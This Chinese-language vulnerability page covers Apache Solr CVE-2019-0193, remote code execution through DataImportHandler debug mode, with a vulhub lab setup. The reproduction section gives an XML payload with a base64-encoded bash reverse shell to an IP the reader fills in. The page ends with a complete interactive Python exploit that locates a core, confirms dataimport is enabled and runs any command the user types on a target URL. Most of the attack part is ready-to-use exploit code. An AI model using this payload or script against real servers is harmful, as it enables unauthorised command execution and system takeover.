# Apache Solr 远程执行漏洞 CVE-2019-0193
## 漏洞描述
2019 年 08 月 01 日，Apache Solr 官方发布预警，Apache Solr DataImport 功能 在开启 Debug 模式时，可以接收来自请求的”dataConfig”参数，这个参数的功能与`data-config.xml` 一样，不过是在开启 Debug 模式时方便通过此参数进行调试，并且 Debug 模式的开启是通过参数传入的。在 `dataConfig` 参数中可以包含 script 恶意脚本导致远程代码执行。
## 影响版本
> [!NOTE]
>
> Apache Solr < 8.2.0
## 环境搭建
```shell
https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose build
docker-compose up -d
# 创建一个solr核心test
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
```
访问 http://xxx.xxx.xxx.xxx:8983/solr/ 正常即可
## 漏洞复现
点击刚刚创建的test进入调试
将下面的POC代码填入 Debug-Mode 中
```xml
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
```
注意 POC 执行的代码中的base64字符串的位置请置换成自己的ip地址并base64加密填入
>[!NOTE]
>
>bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
>
>直接如上写入反弹无反应，不稳定，需要base64加密写才能反弹一个shell
点击EXecute执行代码
成功反弹shell
## 漏洞利用POC
> [!NOTE]
>
> POC不支持反弹shell，如需反弹shell，请按如上步骤反弹shell
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import sys
import json
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2019-0193.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
print('+ \033[36mCmd >>> whoami(命令执行) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
response = requests.request("GET", url=core_url, timeout=10)
core_name = list(json.loads(response.text)["status"])[0]
print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
return core_name
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)
def POC_2(target_url, core_name):
mode_url = target_url + "/solr/" + core_name + "/admin/mbeans?cat=QUERY&wt=json"
response = requests.request("GET", url=mode_url, timeout=20)
mode = dict(dict(list(json.loads(response.text)["solr-mbeans"])[1])['/dataimport'])['class']
if "org.apache.solr.handler.dataimport.DataImportHandler" in mode:
print("\033[32m[o] 目标Url,Dataimport模块开启\033[0m")
else:
print("\033[31m[x] 目标Url,Dataimport模块未开启\033[0m")
sys.exit(0)
def POC_3(target_url, core_name, cmd):
vuln_url = target_url + "/solr/" + core_name + "/dataimport"
headers = {
'Host': target_url,
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
'Accept': "application/json, text/plain, */*",
'Accept-Language': "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
'Accept-Encoding': "zip, deflate",
'Referer': "" + target_url + "/solr/",
'Content-type': "application/x-www-form-urlencoded",
'X-Requested-With': "XMLHttpRequest",
'Content-Length': "1007",
'Connection': "close"
}
payload = """
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("%s").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\\n\\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
""" % cmd
response = requests.request("POST", url=vuln_url, data=payload, headers=headers, timeout=30)
try:
get_message = list(json.loads(response.text)["documents"])[0]
message = dict(get_message)['title'][0]
print("\033[32m[o] 漏洞成功利用,响应为\n \033[0m", message)
except:
print("\033[31m[x] 代码执行失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
core_name = POC_1(target_url)
POC_2(target_url, core_name)
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
exit(0)
else:
POC_3(target_url, core_name, cmd)
```
## 参考文章
[apache solr远程代码执行漏洞(cve-2019-0193)](https://blog.csdn.net/whatday/article/details/106959989?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-4.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-4.channel_param)